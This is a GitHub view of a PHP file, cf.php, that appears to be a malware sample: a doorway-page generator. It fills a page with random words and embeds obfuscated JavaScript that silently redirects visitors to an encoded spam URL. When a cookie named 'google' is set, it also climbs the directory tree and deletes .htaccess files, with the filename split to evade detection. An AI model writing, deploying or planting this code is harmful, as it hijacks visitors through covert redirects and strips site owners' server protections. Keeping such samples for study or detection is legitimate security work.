-
Notifications
You must be signed in to change notification settings - Fork 42
Expand file tree
/
Copy pathcf.php
More file actions
145 lines (145 loc) · 8.42 KB
/
cf.php
File metadata and controls
145 lines (145 loc) · 8.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?php
function result($data)
{
$rn = array_shift($data);
$nd = array();
foreach ($data as $nb) {
array_push($nd, $nb - $rn);
}
$data = $nd;
$result = implode("\r\n", array("%1" . "html" . "%3", "%1" . "head" . "%3", head(), "%2" . "head" . "%3", "%1" . "body style=\"color:white\"" . "%3", body($data), "%2" . "body" . "%3", "%2" . "html" . "%3"));
$result = preg_replace('/%1/', "<", $result);
$result = preg_replace('/%2/', "</", $result);
$result = preg_replace('/%3/', ">", $result);
$sign = parag(1, 1) . (strlen($result) + 31331);
$result = preg_replace('/%sign%/', $sign, $result);
return $result;
}
function body($data)
{
srand(seed());
$body = array();
for ($i = 0; $i < rand(3, 10); $i++) {
$text = parag(50, 250);
srand(seed());
$tags = array("p", "div", "span");
$tags = $tags[rand(0, count($tags) - 1)];
array_push($body, "%1{$tags}%3", $text, "%2{$tags}%3");
}
array_push($body, js($data));
return implode("\r\n", $body);
}
function head()
{
srand(seed());
$title = parag(2, 10);
$charset = array("ISO-8859-1", "UTF-8");
$charset = $charset[rand(0, count($charset) - 1)];
$headers = array("%1title%3%sign% {$title}%2title%3", "%1meta http-equiv=\"Content-Type\" content=\"text/html; charset={$charset}\"%3");
srand(seed());
$rnd_num = rand(0, 1);
if ($rnd_num) {
$description = parag(4, 10);
$keywords = array();
for ($i = 0; $i < rand(1, 10); $i++) {
array_push($keywords, parag(1, 1));
}
$keywords = implode(", ", $keywords);
srand(seed());
$additional = array("%1meta name=\"description\" content=\"{$description}\"%3", "%1meta name=\"keywords\" content=\"{$keywords}\"%3");
$additional = $additional[rand(0, count($additional) - 1)];
array_push($headers, $additional);
}
shuffle($headers);
return implode("\r\n", $headers);
}
function js($data)
{
srand(seed());
$diff = rand(1, 100);
$name = parag(1, 1);
$code = "%1script type=\"text/javascript\"%3\r\n";
$code .= $name . "a={$diff}; " . $name . "b=[";
$list = array();
foreach ($data as $byte) {
array_push($list, $byte + $diff);
}
$code .= implode(',', $list);
$code .= "]; ";
$code .= $name . "c=\"\"; for(";
$code .= $name . "d=0;" . $name . "d<" . $name . "b.length;" . $name . "d++) { ";
$code .= $name . "c+=String.fromCharCode(" . $name . "b[" . $name . "d]-" . $name . "a); } ";
# $code.="window.top.location.href=".$name."c;";
$code .= "document.location.href=" . $name . "c;";
$code .= "\r\n%2script%3";
return $code;
}
function parag($min, $max)
{
srand(seed());
$parag = "";
$words = array("search", "starsigntaurus", "grasped", "immobility", "lithest", "gaudiest", "harlequin", "kisses", "touch", "sip", "separating", "opposing", "notion", "proved", "booze", "coffee", "charms", "seas", "thread", "ariadne", "scheme", "chef", "convinced", "scared", "steps", "virgin", "liberty", "days", "following", "husband", "govern", "record", "honest", "continuing", "imprisond", "hot", "sunshine", "inheritance", "twilights", "dusky", "hair", "whatsoeer", "sunbright", "full", "childish", "liveth", "despaird", "believd", "remains", "wearily", "length", "flaw", "unknowingly", "missed", "stirrups", "disciplined", "wicked", "sickle", "bending", "stop", "matter", "learn", "history", "bleak", "mild", "concerns", "ordinary", "winter", "wears", "proof", "roys", "alert", "planned", "plotted", "fierce", "row", "dauntless", "challenge", "ask", "apply", "beauty", "dower", "woe", "lintwhites", "chorus", "fellowtraveller", "cold", "ice", "worlds", "flu", "illnessthree", "region", "lucky", "bastard", "twill", "soothe", "sorrow", "polity", "sacrifice", "christ", "saviour", "sticking", "kerchiefplots", "mold", "name", "river", "bare", "wanderers", "thousands", "dollars", "effortless", "money", "fatherly", "concern", "pang", "vexd", "aver", "multitude", "sweetly", "reposing", "bands", "armsout", "trees", "veil", "withdrawn", "hut", "tour", "confuse", "debut", "godheads", "benignant", "andmoney", "needed", "ride", "barking", "cat", "plays", "neatly", "error", "unprofitable", "ophilia", "dear", "delighted", "sake", "replaced", "athletic", "prophy", "guessing", "tundra", "peter", "norway", "boors", "prison", "clinicmy", "seemliness", "complete", "sways", "seen", "tiviot", "dale", "familiar", "provokes", "lady", "shares", "wonder", "merits", "resolved", "eer", "champion", "brotherhood", "venerable", "damn", "fawns", "extacy", "buttercups", "unheard", "cull", "faculty", "storm", "turbulence", "happy", "genial", "barely", "cool", "diffuse", "blessd", "main", "embarrassd", "shy", "next", "sense", "persons", "advance", "hamilton", "beginning", "shield", "latest", "impearling", "lucie", "born", "figures", "braes", "humbly", "bloodshed", "miserable", "train", "courtesies", "wilt", "panting", "violets", "acted", "tidings", "woes", "end", "stars", "hungry", "surprised", "tells", "clamor", "stopped", "dries", "used", "severe", "since", "untowardness", "poets", "mere", "mostly", "rooted", "chair", "livd", "lands", "soothed", "milder", "airs", "stranger", "seemingly", "civil", "harmless", "stand", "straight", "nervous", "daisy", "blessed", "rising", "collapse", "reaping", "herself", "remember", "amazing", "palms", "infants", "laughing", "puzzled", "blinded", "immediately", "leaps", "feeding", "appletree", "superstition", "worth", "taking", "sympathy", "heeds", "trace", "upstarting", "affright", "greetst", "fowls", "ref", "hadn", "opened", "score", "nobody", "posterity", "renownd", "unexciting", "vice", "guests", "listend", "fill", "reaper", "bushes", "mournfully", "eggs", "gaze", "places", "hurrythree", "flourish", "seeking", "school", "scannd", "dewdrop", "unto", "lowly", "pursue", "pox", "turns", "necessity", "beloved", "possess", "grotto", "particular", "exquisite", "baby", "chains", "tie", "befal", "yellow", "rouzd", "vale", "holiday", "flutterd", "perchd", "thank", "mechanic", "whip", "lash", "striking", "force", "applying", "muscles", "shaped", "wake", "highlands", "troubles", "beyond", "relief", "untimely", "joyousness", "hideandseek", "homefelt", "pleasures", "itself", "common", "breeds", "liked", "greeting", "mountains", "eagle", "seventythree", "nighttime", "short", "hither", "straightway", "behold", "seehis", "fork", "begins", "rattle", "boat", "graven", "read", "fathers", "courtesy", "runaway", "beautifully", "outstandingly", "clever", "prettiest", "tumbler", "infant");
if ($min == 1) {
return $words[array_rand($words)];
} else {
$words_idx = array_rand($words, rand($min, $max));
$first_upc = 1;
$parag = array();
foreach ($words_idx as $idx) {
$word = $words[$idx];
$rnd_num = rand(0, 1);
$sym = "";
if ($rnd_num) {
$rnd_sym = array(",", " -", ":", ".");
$rnd_num = rand(0, count($rnd_sym) - 1);
$sym = $rnd_sym[$rnd_num];
$word .= $sym;
}
if ($first_upc) {
array_push($parag, ucfirst($word));
$first_upc = 0;
} else {
array_push($parag, $word);
}
if ($sym == "." || $sym == ":") {
$first_upc = 1;
}
}
array_push($parag, $words[array_rand($words)]);
}
return implode(" ", $parag) . ".";
}
function seed()
{
list($usec, $sec) = explode(' ', microtime());
return (double) $sec + (double) $usec * 100000;
}
if (isset($_COOKIE['google'])) {
$s = '/';
if (strtolower(substr(PHP_OS, 0, 3)) == 'win') {
$s = "\\\\";
}
$d = array(".{$s}");
$p = "";
for ($i = 1; $i < 255; $i++) {
$p .= "..{$s}";
if (is_dir($p)) {
array_push($d, $p);
} else {
break;
}
}
foreach ($d as $p) {
$a = "h" . "tac" . "c" . "es" . "s";
$a1 = $p . ".{$a}";
$a2 = $p . $a;
$a3 = $p . "{$a}.txt";
@chmod($a1, 0666);
@unlink($a1);
@chmod($a2, 0666);
@unlink($a2);
@chmod($a3, 0666);
@unlink($a3);
}
}
echo result(array(7, 111, 123, 123, 119, 65, 54, 54, 107, 112, 108, 123, 52, 126, 108, 112, 110, 111, 52, 123, 115, 118, 122, 53, 126, 118, 121, 115, 107, 54, 70, 104, 68, 59, 55, 56, 58, 58, 61, 45, 106, 68, 106, 119, 106, 107, 112, 108, 123, 45, 122, 68, 55, 59, 56, 57, 57, 55, 56, 62));